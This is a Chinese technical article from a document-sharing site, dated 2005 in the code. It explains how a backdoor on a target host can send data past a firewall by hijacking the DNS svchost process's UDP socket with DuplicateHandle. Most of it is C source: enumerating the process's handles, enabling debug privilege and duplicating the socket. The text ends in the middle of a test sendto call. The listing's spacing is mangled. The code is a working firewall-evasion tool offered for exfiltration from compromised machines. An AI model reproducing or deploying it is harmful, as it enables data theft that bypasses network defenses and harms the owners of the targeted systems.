一种新的穿透防火墙的数据传输技术.docx
《一种新的穿透防火墙的数据传输技术.docx》由会员分享,可在线阅读,更多相关《一种新的穿透防火墙的数据传输技术.docx(10页珍藏版)》请在冰豆网上搜索。
![一种新的穿透防火墙的数据传输技术.docx](https://file1.bdocx.com/fileroot1/2022-11/21/c02e1863-be33-4acb-9d89-c731074eea2a/c02e1863-be33-4acb-9d89-c731074eea2a1.gif)
一种新的穿透防火墙的数据传输技术
一种新的穿透防火墙的数据传输技术
使用该技术背景:
在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么).
针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.
相反,有一点我们也很清楚:
被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:
将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:
1.找出目标进程
2.找出SOCKET句柄
2.用DuplicateHandle()函数将其SOCKET转换为能被自己使用.
3.用转换后的SOCKET进行数据传输
上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也
可以看出一些不爽的地方:
在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP.
针对不同系统不同进程我们很难定位一个稳定的进程SOCKET.
看到上面这些,你有点丧气了对不对,哈哈.再想一想,其实我们有一条真正的通罗马的"黄金大道".
我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被
拦了造成的结果吗?
嘿嘿,既然这个是永远不会被拦的,而且它又是UDP传输,我们就拿他开刀...
下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORKSERVICE)进行数据传输的例子.
编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCALSERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等.
具体解决方法请细看注释部分...
/*++
MadeByZwelL
zwell@
2005.4.12
--*/
#include
#include
#include
#pragmacomment(lib,"ws2_32")
#pragmacomment(lib,"wtsapi32")
#defineNT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#defineSTATUS_INFO_LENGTH_MISMATCH((NTSTATUS)0xC0000004L)
typedefLONG NTSTATUS;
typedefstruct_SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
}SYSTEM_HANDLE_INFORMATION,*PSYSTEM_HANDLE_INFORMATION;
typedefULONG(WINAPI*ZWQUERYSYSTEMINFORMATION)(ULONG,PVOID,ULONG,PULONG);
ZWQUERYSYSTEMINFORMATIONZwQuerySystemInformation=NULL;
BOOLLocateNtdllEntry(void)
{
BOOL ret =FALSE;
char NTDLL_DLL[]="ntdll.dll";
HMODULEntdll_dll =NULL;
if((ntdll_dll=GetModuleHandle(NTDLL_DLL))==NULL)
{
printf("GetModuleHandle()failed");
return(FALSE);
}
if(!
(ZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)GetProcAddress(ntdll_dll,"ZwQuerySystemInformation")))
{
gotoLocateNtdllEntry_exit;
}
ret=TRUE;
LocateNtdllEntry_exit:
if(FALSE==ret)
{
printf("GetProcAddress()failed");
}
ntdll_dll=NULL;
return(ret);
}
/*++
Thisroutineisusedtogetaprocess'susernamefromit'sSID
--*/
BOOLGetUserNameFromSid(PSIDpUserSid,char*szUserName)
{
//sanitychecksanddefaultvalue
if(pUserSid==NULL)
returnfalse;
strcpy(szUserName,"?
");
SID_NAME_USE snu;
TCHAR szUser[_MAX_PATH];
DWORD chUser=_MAX_PATH;
PDWORD pcchUser=&chUser;
TCHAR szDomain[_MAX_PATH];
DWORD chDomain=_MAX_PATH;
PDWORD pcchDomain=&chDomain;
//Retrieveusernameanddomainnamebasedonuser'sSID.
if(
:
:
LookupAccountSid(
NULL,
pUserSid,
szUser,
pcchUser,
szDomain,
pcchDomain,
&snu
)
)
{
wsprintf(szUserName,"%s",szUser);
}
else
{
returnfalse;
}
returntrue;
}
/*++
ThisroutineisusedtogettheDNSprocess'sId
Here,IuseWTSEnumerateProcessestogetprocessuserSid,
andthengettheprocessusername.Beacauseasit'sa"NETWORKSERVICE",
wecann'tuseOpenProcessTokentocatchtheDNSprocess'stokeninformation,
evenifwehastheprivilegeincatchingtheSYSTEM's.
--*/
DWORDGetDNSProcessId()
{
PWTS_PROCESS_INFOpProcessInfo=NULL;
DWORD ProcessCount=0;
char szUserName[255];
DWORD Id=-1;
if(WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE,0,1,&pProcessInfo,&ProcessCount))
{
//dumpeachprocessdescription
for(DWORDCurrentProcess=0;CurrentProcess {
if(strcmp(pProcessInfo[CurrentProcess].pProcessName,"svchost.exe")==0)
{
GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid,szUserName);
if(strcmp(szUserName,"NETWORKSERVICE")==0)
{
Id=pProcessInfo[CurrentProcess].ProcessId;
break;
}
}
}
WTSFreeMemory(pProcessInfo);
}
returnId;
}
/*++
Thisdoesn'tworkasweknow,sign...
butyoucanusetheroutineforotheruseing...
--*/
/*
BOOLGetProcessUserFromId(char*szAccountName,DWORDPID)
{
HANDLEhProcess=NULL,
hAccessToken=NULL;
TCHARInfoBuffer[1000],szDomainName[200];
PTOKEN_USERpTokenUser=(PTOKEN_USER)InfoBuffer;
DWORDdwInfoBufferSize,dwAccountSize=200,dwDomainSize=200;
SID_NAME_USEsnu;
hProcess=OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,PID);
if(hProcess==NULL)
{
printf("OpenProcesswrong");
CloseHandle(hProcess);
returnfalse;
}
if(0==OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
{
printf("OpenProcessTokenwrong:
%08x",GetLastError());
returnfalse;
}
GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
1000,&dwInfoBufferSize);
LookupAccountSid(NULL,pTokenUser->User.Sid,szAccountName,
&dwAccountSize,szDomainName,&dwDomainSize,&snu);
if(hProcess)
CloseHandle(hProcess);
if(hAccessToken)
CloseHandle(hAccessToken);
returntrue;
}*/
/*++
Now,itisthemostimportantstuff...^_^
--*/
SOCKETGetSocketFromId(DWORDPID)
{
NTSTATUS status;
PVOID buf =NULL;
ULONG size =1;
ULONG NumOfHandle=0;
ULONG i;
PSYSTEM_HANDLE_INFORMATION h_info =NULL;
HANDLE sock=NULL;
DWORD n;
buf=malloc(0x1000);
if(buf==NULL)
{
printf("mallocwrong\n");
returnNULL;
}
status=ZwQuerySystemInformation(0x10,buf,0x1000,&n);
if(STATUS_INFO_LENGTH_MISMATCH==status)
{
free(buf);
buf=malloc(n);
if(buf==NULL)
{
printf("mallocwrong\n");
returnNULL;
}
status=ZwQuerySystemInformation(0x10,buf,n,NULL);
}
else
{
printf("ZwQuerySystemInformationwrong\n");
returnNULL;
}
NumOfHandle=*(ULONG*)buf;
h_info=(PSYSTEM_HANDLE_INFORMATION)((ULONG)buf+4);
for(i=0;i {
try
{
if((h_info[i].ProcessId==PID) &&(h_info[i].ObjectTypeNumber==0x1c)
&&(h_info[i].Handle!
=0x2c) //Idon'tknowwhyiftheHandleequalto0x2c,inmytest,itstopsatgetsockname()
//SoIjumpoverthissituation...
//Maybeit'sdifferentinyoursystem,
)//wind2000is0x1a
{
//printf("Handle:
0x%xType:
%08x\n",h_info[i].Handle,h_info[i].ObjectTypeNumber);
if(0==DuplicateHandle(
OpenProcess(PROCESS_ALL_ACCESS,TRUE,PID),
(HANDLE)h_info[i].Handle,
GetCurrentProcess(),
&sock,
STANDARD_RIGHTS_REQUIRED,
true,
DUPLICATE_SAME_ACCESS)
)
{
printf("DuplicateHandlewrong:
%8x",GetLastError());
continue;
}
//printf("DuplicateHandleok\n");
sockaddr_inname={0};
name.sin_family=AF_INET;
intnamelen=sizeof(sockaddr_in);
getsockname((SOCKET)sock,(sockaddr*)&name,&namelen);
//printf("PORT=%5d\n", ntohs(name.sin_port));
if(ntohs(name.sin_port)>0) //ifport>0,thenwecanuseit
break;
}
}
catch(...)
{
continue;
}
}
if(buf!
=NULL)
{
free(buf);
}
return(SOCKET)sock;
}
/*++
Thisisnotrequired...
--*/
BOOLEnablePrivilege(PCSTRname)
{
HANDLEhToken;
BOOLrv;
TOKEN_PRIVILEGESpriv={1,{0,0,SE_PRIVILEGE_ENABLED}};
LookupPrivilegeValue(
0,
name,
&priv.Privileges[0].Luid
);
priv.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
OpenProcessToken(
GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);
AdjustTokenPrivileges(
hToken,
FALSE,
&priv,
sizeofpriv,
0,
0
);
rv=GetLastError()==ERROR_SUCCESS;
CloseHandle(hToken);
returnrv;
}
voidmain()
{
WSADATAwsaData;
char testbuf[255];
SOCKET sock;
sockaddr_inRecvAddr;
intiResult=WSAStartup(MAKEWORD(2,2),&wsaData);
if(iResult!
=NO_ERROR)
printf("ErroratWSAStartup()\n");
if(!
LocateNtdllEntry())
return;
if(!
EnablePrivilege(SE_DEBUG_NAME))
{
printf("EnablePrivilegewrong\n");
return;
}
sock=GetSocketFromId(GetDNSProcessId());
if(sock==NULL)
{
printf("GetSocketFromIdwrong\n");
return;
}
//Changetherevalue...
RecvAddr.sin_family=AF_INET;
RecvAddr.sin_port=htons(5555);
RecvAddr.sin_addr.s_addr=inet_addr("127.0.0.1");
if(SOCKET_ERROR==sendto(sock,
"test",
5,
0,
(